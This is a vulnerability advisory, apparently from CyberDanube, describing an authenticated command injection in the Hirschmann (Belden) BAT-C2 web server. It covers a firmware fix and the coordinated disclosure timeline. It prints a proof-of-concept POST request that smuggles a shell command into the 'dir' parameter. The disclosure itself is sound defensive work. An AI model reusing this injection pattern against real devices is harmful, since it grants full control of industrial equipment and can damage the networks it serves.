[EN] Authenticated Command Injection in Hirschmann (Belden) BAT-C2

Hirschmann BAT-C2 is prone to an authenticated command injection vulnerability. This vulnerability can be used to execute arbitrary commands on the device.

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Hirschmann (Belden) BAT-C2

1) Authenticated Command Injection
The web server of the device is prone to an authenticated command injection. It allows an attacker to gain full access to the underlying operating system of the device with all implications. If such a device is acting as key device in an industrial network, or controls various critical equipment via serial ports, more extensive damage in the corresponding network can be done by an attacker.

The command “ping 192.168.1.1” was injected to the system by using the following POST request:

POST / HTTP/1.1
Host: 192.168.3.150
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
Origin: https://192.168.3.150
Authorization: Digest username=”admin”, realm=”config”, nonce=”4b63bb796252d310″, uri=”/”, algorithm=MD5, response=”dbcf03216bd8fbaa15f4b9d9d0fc1d43″, qop=auth, nc=0000000a, cnonce=”99c14d39557e691d”
Referer: https://192.168.3.150/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

ajax=FsCreateDir&dir=’%3Bping%20192.168.1.1%3B’&iehack=&submit=Create&cwd=/

Upgrade to firmware version 09.13.01.00R04 or above.

A security bulletin for this vulnerability has been published by the vendor:
https://www.belden.com/dfsmedia/f1e38517e0cd4caa8b1acb6619890f5e/15088-source/

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CyberDanube recommends customers from Hirschmann to upgrade the firmware to the latest version available. Furthermore, a full security review by professionals is recommended.

• 2022-08-03: Contacting Hirschmann via ; Belden contact suspects a duplicate. Asked contact for more information.
• 2022-08-18: Belden representative sent more information for clarification. Highlighted differences between PoCs.
• 2022-08-22: Belden contact confirmed the vulnerability to be no duplicate.
• 2022-08-30: Asked for an update.
• 2022-08-31: Vendor stated, that he will release another security bulletin for this vulnerability.
• 2022-09-27: Asked for an update.
• 2022-09-28: Vendor is currently testing the new firmware version and has also been assigned with an CVE number. Draft of security bulletin was also sent by the security contact.
• 2022-10-12: Asked for an update.
• 2022-10-13: Belden contact stated, that there is no publication date for now as another patch must be integrated.
• 2022-10-28: Security contact informed us, that the patch will be released
  within the next two weeks.
• 2022-11-22: Asked for a status update; Security contact stated, that the
  release was delayed due internal reasons.
• 2022-11-23: Vendor sent the final version of the security bulletins. The release of the new firmware version will be 2022-11-28.
• 2022-11-24: Vendor informed CyberDanube that the release of the bulletin and the firmware was done on 2022-11-23 by the marketing team. Coordinated release of security advisory.